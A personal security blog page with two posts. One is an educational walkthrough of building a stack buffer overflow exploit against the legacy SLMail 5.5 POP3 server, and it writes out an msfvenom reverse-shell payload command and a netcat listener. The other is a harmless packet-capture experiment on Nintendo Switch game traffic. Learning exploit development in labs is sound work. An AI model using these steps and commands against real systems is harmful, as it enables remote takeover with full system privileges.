Technical musings and experiments. Adventures in ethical hacking.
Don't wanna be here? Send us removal request.
Text
A walk-through on Buffer Overflow attacks.
Disclaimer: This walk-through was very heavily inspired by content from the “Penetration Testing with Kali Linux” course from Offensive Security. In the future I will make blog posts about additional buffer overflows performed from scratch.
For a while I’ve been wanting to write up a simple walk through of creating a buffer overflow attack, and explaining what is happening, so let’s just jump right into this.
What is a buffer overflow attack? A buffer overflow is when too much data is sent to a program, and the excess data “overflows” the boundary in memory that was set aside for it, causing other areas of memory to be overwritten, which can lead to execution of malicious code. Let’s look at the example below:
This is a program written in C, called vuln.exe. This program is vulnerable to a buffer overflow attack. Let’s further examine why:
This program is vulnerable to a simple buffer overflow
On line 3, a function is defined that accepts user input as a command line argument.
Line 5 defines a local variable named "buffer", with a size of 64 bytes. These 64 bytes of memory will be reserved on the stack. The stack is an array or list structure of function calls and parameters used by the program.
On line 7, the program checks to see if less than 2 arguments were provided, and prints usage instructions before exiting.
Starting on line 14 is the main part of the function, which simply copies the user input into the variable named "buffer". The program then exits.
This program is vulnerable because there is no input validation, meaning that someone can input more than 64 bytes, over-writing other parts of the stack and causing a crash. This is known as a stack buffer overflow.
In the screenshot below, it is shown that inputting 10 A's (each 1 byte) doesn't have any adverse effects, but inputting 80 A's causes a buffer overflow condition, and the program crashes:
A brief explanation of debugging
CPU Registers
Data Registers • EAX - The primary accumulator; it is used in input/output and most arithmetic instructions • ECX - The count register. ECX registers store the loop count. • EDX - The data register. It is also used in input/output operations. It is used along with the EAX register for multiply/divide operations involving large values. • EBX - The base register, and could be used in indexed addressing.
Pointer Registers • ESP - The stack pointer. A 16-bit register providing the offset value within the program stack. ESP in association with the SS register (SS:SP) refers to the current position of data or address within the program stack. • EBP - The base pointer. A 16-bit register that mainly helps in referencing the parameter variables passed to a subroutine. The address in SS register is combined with the offset in EBP to get the location of the parameter. • EIP - The instruction pointer. A 16-bit register that stores the offset adddress of the next instruction to be executed. EIP in association with the CS register (as CS:IP) gives the complest address of the current instruction in the code segment. EIP controls the path of code execution of the program.
Index Registers • ESI - The source index. Used as a source index for string operations. • EDI - The destination index. Used as a destination index for string operations.
During the debugging associated with developing buffer overflows, ESP and EIP are especially useful, and will be something that will be manipulated in order to properly execute the attack.
The registers as they appear in Ollydbg:
The main Ollydbg window:
The section outlined in red is the stack memory viewer. To the left of that, is the memory dump viewer. Above the stack memory viewer, is the register viewer. Finally, in the top left-hand corner, is the disassembler.
Immunity Debugger has a similar appearance.
F2 will set a "breakpoint", at which point the debugger will halt execution. F7 will "step" to the next instruction.
Debugging vuln.exe vuln.exe, the C code shown on page "Vulnerable code example", has been loaded into Ollydbg, and has been run with an argument of 80 A's.
A breakpoint has been set at the strcopy function, and the code was "stepped through" until 64 bytes had been copied into the stack:
The red "RETURN from vuln.0040100….." is the return address that the program is supposed to jump to after the strcopy is done, which is memory offset 00401145. However, as the program continues to progress, the A's will overflow from the 64 byte buffer, and overwrite that instruction.
The return address has been overwritten. Soon the program will crash after it tries to execute the RETN function, because it will now try to jump to a memeory address that either doesn't exist, or belongs to another program.
Here, the stack is trying to reclaim the 64 bytes that were allocated for the variable named "buffer". Just below that is the RETN function that will crash the program.
This is the address in the stack that originally contained the return address. The original value of 00401145 has been overwritten to 41414141, or AAAA. The program now tries to jump to the instruction located in memory offset 41414141.
Notice the EIP. It now reads 41414141. This is important, as this shows that it is possible to overwrite EIP with user-supplied input, which can lead to execution of malicious code.
Exploit Development
The following pages will document the exploit development process. The target application is SLMail version 5.5.0. This is a legacy mail application that was run on Windows NT/2000/XP/2003, and the vulnerability exploited in the following demonstration was patched over a decade ago. The following screenshots are from a Windows 7 32-bit VM running the vulnerable version of SLMail.
Fuzzing
Fuzzing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a program. Fuzzing is the first step in finding potentially vulnerable inputs for buffer overflowing.
The code blow is a fuzzer that will incrementally send a larger and larger buffer to the program over POP3, port 110, to determine how much data is required to make it crash:
Specifically, we are interested in the PASS parameter, as this is the vulnerable parameter in SLMail 5.5. The script creates a socket and connects over TCP to port 110, receives the banner, provides the command USER and a fake username, receives the response from the server, and then sends the command PASS along with the test buffer.
This python script will generate 100 A's and send it to the server, and each time it loops, will increment by 200, sending 300 A's, then 500, and so on, until the service crashes. This will tell us if the program is vulnerable, along with the general amount of data it took to crash it.
The SLMail application runs as a service, so it will be running as soon as the VM starts up. Immunity Debugger is opened, and the application is "attached" to the debugger, and execution is resumed. The fuzzer is then executed from the attacking machine:
Once we hit 2900 bytes, the script stopped progressing. On the test machine running Immunity, we see that the program crashed:
Just as with the vuln.exe example, EIP has been overwritten with 41414141:
Refining the fuzzing attack
Now we need to replicate the crash with more accuracy, in an attempt to find the exact number of bytes needed to cause a crash:
This python script will create a buffer of 2700 A's and send it to the SLMail server.
Immunity Debugger is launched, and the SLMail process re-attached, then the script is run:
Once again, SLMail has crashed. The next step is to determine how many A's it takes to overwrite EIP. We will send a unique string of 2700 bytes, and then note which bytes overwrite EIP, and then determine where those bytes are in that string.
A utility for generating unique strings for this very purpose is /usr/share/metasploit-framework/tools/pattern_create.rb.
This string will become our new buffer in the skeleton exploit. SLMail is restarted again, along with Immunity Debugger, and SLMail is re-attached to the debugger before running the exploit again.
This time EIP is overwritten by 39694438. To discover the exact position of these bytes in the unique string that was created, we use /usr/share/metasploit-framework/tools/pattern_offset.rb
The skeleton exploit has been modified with this new information:
The goal here is to determine if we can precisely overwrite EIP with 4 B's. The C’s will be our “dummy payload” to make sure we can continue writing additional data after overwriting EIP.
Once again, everything is restarted, and the exploit is run.
EIP has been overwritten with 42424242, which is hex for BBBB. We now know for sure that it takes exactly 2606 bytes to reach the EIP, and the 4 bytes following that will overwrite EIP.
Preparing for shellcode
After running the current version of the skeleton exploit, we need to right-click the ESP and click “Follow in Dump”:
We can see that at the time of the crash, ESP was pointing to the C's in the buffer that came immediately after the 4 B's. A typical reverse shell payload typically requires around 350-400 bytes, so now we need to increase the overall buffer to see if we can overwrite enough of the stack to fit in some shellcode.
The buffer is written in this way so that we can send exactly 3500 bytes to the server.
It appears that a larger portion of the stack has been successfully overwritten. Shellcode should easily be able to fit into this exploit without issues.
Bad characters
Depending on the application, some hexidecimal characters can be interpreted as various commands, such as line feeds, carriage returns, and so on. We cannot include these bad characters in the final shellcode, or the exploit will fail.
\x00 is a "null byte" and will almost certainly always be a bad character, so by default, assume this is a bad character and do not include this in any shellcode.
\x0D is another bad character unique to POP3. This will be interpreted as a carriage return. If SLMail sees this character in the shellcode, it will treat this as the end of the input, and will cut off anything else after this character.
There is a quick way to start testing this; send all possible characters from \x01 to \xFF, to see when these characters cause issues, or cause input to be cut off, or truncated.
The payload of the skeleton exploit is modified like so:
SLMail and Immunity are restarted, and the exploit is run, and then ESP is Followed in Dump:
The hex character \x0A is missing, and seems to have truncated all other input. This has identified \x0A as a bad character.
\x0A represents a line feed, which is why it is truncating the input. \x0A is removed from the buffer in the exploit, and the process is repeated (SLMail is restarted, Immunity is attached, exploit is run, ESP is Followed in Dump) As expected, x0D is absent, but there are no other bad characters observed.
To summarize, the bad characters for this application are x00, x0A, and x0D, and should be omitted from the finalized payload.
Redirecting execution flow
Since the ESP register points to the dummy payload (The C's in the buffer), the best way to redirect execution to that address is to overwrite EIP with the address stored in the ESP. But there is no way to predict this, as it will always be different, due to the fact that stack addresses change often, especially with "threaded" applications, in which each thread has its own stack memory.
When an application is launched, it is loaded into memory, along with all the DLLs, modules, and drivers it needs to run. Within those DLLs and modules, it is possible to find a "JMP ESP" command that can be used to make sure execution will always "jump" to the address in ESP.
As long as those DLLs and modules do not have DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization), protections in place, this technique should work. The memory address of the module must also be free of any of the bad characters identified in the previous steps.
To start searching for a JMP ESP in these modules, we can make use of some scripts built into Immunity Debugger called "mona", which is written in python.
At the bottom of the window, in the white box, call mona by typing "!mona modules"
After going through the entire list, there is a module that fits all the criteria: SLMFC.DLL
The module does not have any memory protections in it, and th ememory address does not contain bad characters.
Now we need to find a JMP ESP inside this DLL:
Clicking the "e" will switch to the executables modules list, which shows all the modules that have been loaded. Double click on the SLMFC.DLL. Right-click inside the upper left-hand window, and select "Search for" > "Command"
However, when we search this way, we get 0 results, but that doesn’t mean that the instruction isn’t there. When seraching for commands in this manner, Immunity will only search inside parts of SLMFC.DLL that are marked as executable.
Clicking on the “m” in the top bar switches the view to the “modules” section, which reveals that only the “.text” section of SLMFC.DLL is marked as executable.
Since SLMail isn't protected by DEP, and SLMFC isn't protected by ASLR, instructions from any part of the DLL can be used. Mona can find the instruction for us, but instead of searching for JMP ESP, we have to search for the bytes that stand for JMP ESP. There is another tool in Kali that can help us find that:
/usr/share/metasploit-framework/tools/nasm_shell.rb
Now we can search for the instruction using these bytes with mona:
The first result should work, as it has no bad characters in the address, no memory protections, and contains the JMP ESP instruction we need.
Clicking the highlighted button will open the "Follow expression" search box. Type in the address of the JMP ESP instruction to open it in the disassembler to confirm that it is a JMP ESP. This can now be added to the skeleton exploit.
***IMPORTANT*** Due to x86 systems storing addresses in memory in "Little endian" format, the address must be typed into the exploit in reverse:
Little endian refers to the process of storing the "little end", or least significant byte, in memory first.
In Immunity, place a breakpoint at the address of the JMP ESP instruction, and then run the skeleton exploit. The goal now is just to make sure that execution is reaching the JMP ESP instruction.
EIP has been successfully overwritten with the address of the JMP ESP instruction, and as indicated by the status bar on the very bottom of Immunity, the breakpoint was hit, confirming that the exploit successfully redirected execution flow to the JMP ESP instruction. The exploit is nearly complete now.
Shellcode
Writing shellcode from scratch is an advanced technique and isn't going to be covered here. Instead, we will use msfvenom to generate it for us. Msfvenom is a tool that is part of the metasploit-framework that is used for generating payloads, and there are many options for what type of payloads to use, how to format them, and how to encode them. More information can be found here:
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
The command we need for our shellcode will be:
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<port> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
The -p option is used to specify the payload. LHOST is YOUR ip address, the address of the attacking machine. LPORT is the port YOU will be listening on, and can be any port that isn't already in use. The -f option is used to set the format; here, the exploit will be formatted in a way that it can be included in C code, but it will work for our python exploit. The -a option is used to specify architecture, in this case, x86 for 32-bit. The --platform option is used to specify the platform. The -b option is used to specify the bad characters that we don't need in the payload. Finally, the -e option is used to choose the encoder, which is a necessary step since we've told msfvenom not to use the bad characters, which may be necessary.
When the shellcode is executed, it will self-decode in memory before executing (This can be observed by setting a breakpoint in Immunity and "stepping-thru" individual instructions). The bad characters won't cause an issue at this point, because bad characters are only a problem when being used as input to the program. Once the bad characters are decoded in memory, the CPU just executes the commands they represent in assembly language, instead of the application interpreting them as carriage returns or line feeds.
Note that your shellcode may not appear this way, as the encoding process can generate different shellcode each time. This is normal and it is okay.
It's time to take this shellcode and copy it into the exploit, replacing the C's. Preferably, you should create a variable named "shellcode", and assign it the value of the shellcode, and then just add the variable name to the buffer. But we're not quite done yet. The decoder needs some extra space on the stack to do its job, and running the exploit as-is would likely fail, so in order to "pad" the buffer with empty space, we're going to add a series of NOP (no operation) instructions, commonly refered to as a "nop sled", due to the fact that once execution hits this series of NOPs, execution will "slide" down the NOPs until it hits our shellcode. The hex code for NOP is \x90
Our buffer should look something like this:
Set a breakpoint in Immunity on the JMP ESP address, and run the exploit. Use F8 to "step thru" instructions one by one to watch how it "slides" down the "NOP sled".
A cool trick you can do (which isn't necessary, it's just fun to watch), is to double-click the currently highlighted NOP in Immunity, which will open up a prompt, and then change the NOP into "INT3" This will set a special breakpoint that will cause any changes in shellcode from that point on to be highlighted in blue in the memory dump, allowing you to watch as the decoder does its thing, as long as you keep stepping thru one instruction at a time. Just remember to right-click ESP and clicking "Follow in dump" after the decoder is hit.
Before resuming normal execution, set up a netcat listener on the attacking machine to catch the incoming reverse shell:
nc -nvlp 443
This will tell netcat to listen for incoming connections on port 443, which is what the reverse shell will be connecting to. Resume normal code execution, and we should get a shell:
What truly makes this vulnerability so dangerous is that SLMail is running as a service, which means that it runs with system-level privileges:
For context, the nt authority\system account is the most privilaged account on Windows. This account holds even more power than the Administrator account. With this, we demonstrate that this vulnerability was an extremely high risk at the time of its discovery, and unpatched systems could be totally compromised by this attack, giving attackers complete control over the victim system.
But we're still not done yet…because when we exit the shell, SLMail crashes. This causes us to loose our foothold, so we're going to fix that.
Finishing touches
The memory corruption caused by the buffer overflow is normally irrecoverable, which is why SLMail crashes when the shell is exited. But this can be fixed with a simple addition to the msfvenom syntax:
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<port> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai EXITFUNC=thread
By doing this, the shellcode will be regenerated, and this time when the the reverse shell is exited, the shellcode will gracefully terminate the current thread used for the shellcode's execution, allowing the main program to recover and keep running. This allows for repeat exploitation, and doesn't require us to continue restarting the service in order to exploit it again.
Some other final finishing touches you could do is to add comments to the code to remember what everything is and what is going on in the program. Below is an example of the finished exploit, and was my first BoF that I wrote for SLMail.
For more buffer overflow examples and other python code I’ve written, drop by my github here!:
https://github.com/purpl3-f0x
0 notes
Text
A brief experiment with online game networking.
***DISCLAIMER: ALL PACKET CAPTURES WERE CONDUCTED ON MY HOME NETWORK, AND NO CONFIDENTIAL OR PRIVATE DATA WAS CAPTURED NOR EXPOSED. ALL INFORMATION SHOWN IN THIS POST WAS OBTAINED BY LEGAL MEANS USING PUBLICLY AVAILABLE INFORMATION PROVIDED BY WHOIS***
I recently put an old Cisco Catalyst 2960 into production on my home network. It’s not doing anything really special, it mainly just functions as a standard switch. But, I started to wonder, is it a waste of a powerful enterprise-grade switch to just do nothing? Then I got an idea to leverage one of the features in IOS to conduct an experiment.
So I set up port mirroring on my switch to copy traffic coming in to or leaving from port 23, and copy that to port 1. So what’s on port 23?
My Nintendo Switch! (Yay, this won’t get confusing, a Switch plugged into a switch...)
I took my Kali Linux laptop and plugged it into port 1 on the Cisco switch, fired up Wireshark, set the capture to promiscuous, and then played a single round of my favorite online game.
Splatoon 2! It may be a kid’s game primarily, but I like it plenty.
I ran the Wireshark capture from the moment I launched Splatoon, until the conclusion of a single 3-minute match.
https://imgur.com/j2grkO7 - larger version
At first glance, it does appear to be about what you’d expect. Some DNS queries for Nintendo servers (A DNS query is when a device needs to know what the IP address of a server is), TCP connections to said servers, and... wait, what?
https://imgur.com/QqdAF2c - larger version
TLS? I have to be honest, I wasn’t expecting to see encryption for online gaming communications.TLS stands for “Transport Layer Security”, an encryption protocol usually used for secure websites, aka, HTTPS. Perhaps I’m being naive, but as far as I know, there’s no sensitive data being transmitted. By all means correct me if I’m wrong, this was just a big experiment for me, I’m not educated in how online gaming networking functions.
Now onto what I found when curiosity struck me, which was immediately with the first few packets.
So this was the first server that the Switch (console) contacted upon launching Splatoon 2. At first I didn’t think there would be much to learn from here, but I did learn one interesting thing.
I suppose I should not be surprised, but for some reason I still find it interesting to see that Nintendo apparently uses Amazon AWS Virtual Machines for their servers. Working in a datacenter myself, I know that virtualization is the future. Hell, it’s the present. Still, I found this little tidbit kinda cool to know.
Now I won’t show screenshots for every server the Switch connected to, because there were a hell of a lot and there wasn’t any new information gleaned from any of it.
So onto the interesting part, the traffic captured from actual game play!
From the moment I chose to join an online Turf War lobby, I saw pages and pages of UDP traffic scrolling by (I was watching the live capture as the game progressed). This I was fully expecting; UDP is the transport protocol of choice for real-time applications due to its low overhead, and the lack of a necessity for re-transmission of dropped packets due to the nature of real-time applications.
The reason for this is due to how UDP functions. UDP stands for User Datagram Protocol, and is usually know as a “best effort” protocol. That means that the device will send the data without caring about whether it successfully reaches its destination. This makes it ideal for real-time applications like skype calls, video conferences, and gaming.
On the flip side, the other protocol we can see here, TCP, is a connection-oriented protocol. Known as “Transmission Control Protocol”, TCP will first establish a connection with the server, and then send over the data, with each side confirming receipt of the data, and re-transmitting any lost packets. This doesn’t work well with real-time applications due to increased processing overhead (and in turn, latency/lag), as well as the fact that re-transmitting lost packets is pointless for real-time applications.
What I didn’t expect though, is the number of varying IP addresses that my machine was communicating with. Using NSLOOKUP from my cmd prompt, I started to notice that these IP addresses belonged to various ISPs; Comcast, Verizon, a few I’ve never heard of before. NSLOOKUP is a utility built into various operating systems that lets you look up domain names or IP addresses to see what they match up to. So this got me wondering: What exactly is happening here?
In networking, the two biggest types of networks are Client-Server networking, wherein clients (In this case, Nintendo Switch consoles), connect to a single server, and the server orchestrates everything. The other type is peer-to-peer, letting consoles talk directly to each other.
Now, peer-to-peer doesn’t seem ideal. Sync’ing up many clients with peer-to-peer can be tricky, even if Splatoon matches are no more than 8 players; 4vs4 matches. But, seeing all this UDP traffic destined for a range of seemingly random IP addresses, all belonging to ISPs, seems to indicate that is what’s happening.
In gaming, the client-server model would use a single server that would be the “authority” on the state of the world as it exists, the coordinates of all players, objects, projectiles and such. This much I understand from playing Minecraft on personal servers. Everyone logs into a server, not each other (Even though in this context, you CAN have a peer-to-peer game of online Minecraft, where one player’s game doubles as a server, but the same idea still applies really).
This means, to me, that client-server is the best way to go, because the server can control everything that’s happening. Everyone’s consoles sends data to the server to indicate player position, projectile position, etc, and the server processes this and sends it out to the other players.
I do see some TCP packets mixed in here, sending “Application data” and responding to the server with ACKs. Could this be the main game server passing on other player’s data? Then what of the stream of UDP traffic? Why does the UDP traffic halt immediately after I leave the online lobby?
https://imgur.com/zKi0ug7 - larger version
As you can see here, as soon as I left the lobby, the UDP traffic stopped, never to resume again, leaving me with just some TCP traffic that stopped after 4-5 seconds, also never to resume again.
So what did I learn from this, aside from Nintendo using Amazon VMs for their servers? ...........not much. If anything, I feel more confused than ever. I can’t tell for sure if Splatoon is using the client-server model, or peer-to-peer model for online game play. The only other factor that points to the client-server model, is the obvious fact that during Splatfest, a highly popular event that attracts very large numbers of players, the lag is much more noticable, and time-outs and dropped connections are rampant, indicating that a loss of synchronization can cause someone to be dropped from a match.
If anyone has more experience or expertise with this, let me know what you think of this experiment, and shed some light on a confusing subject.
0 notes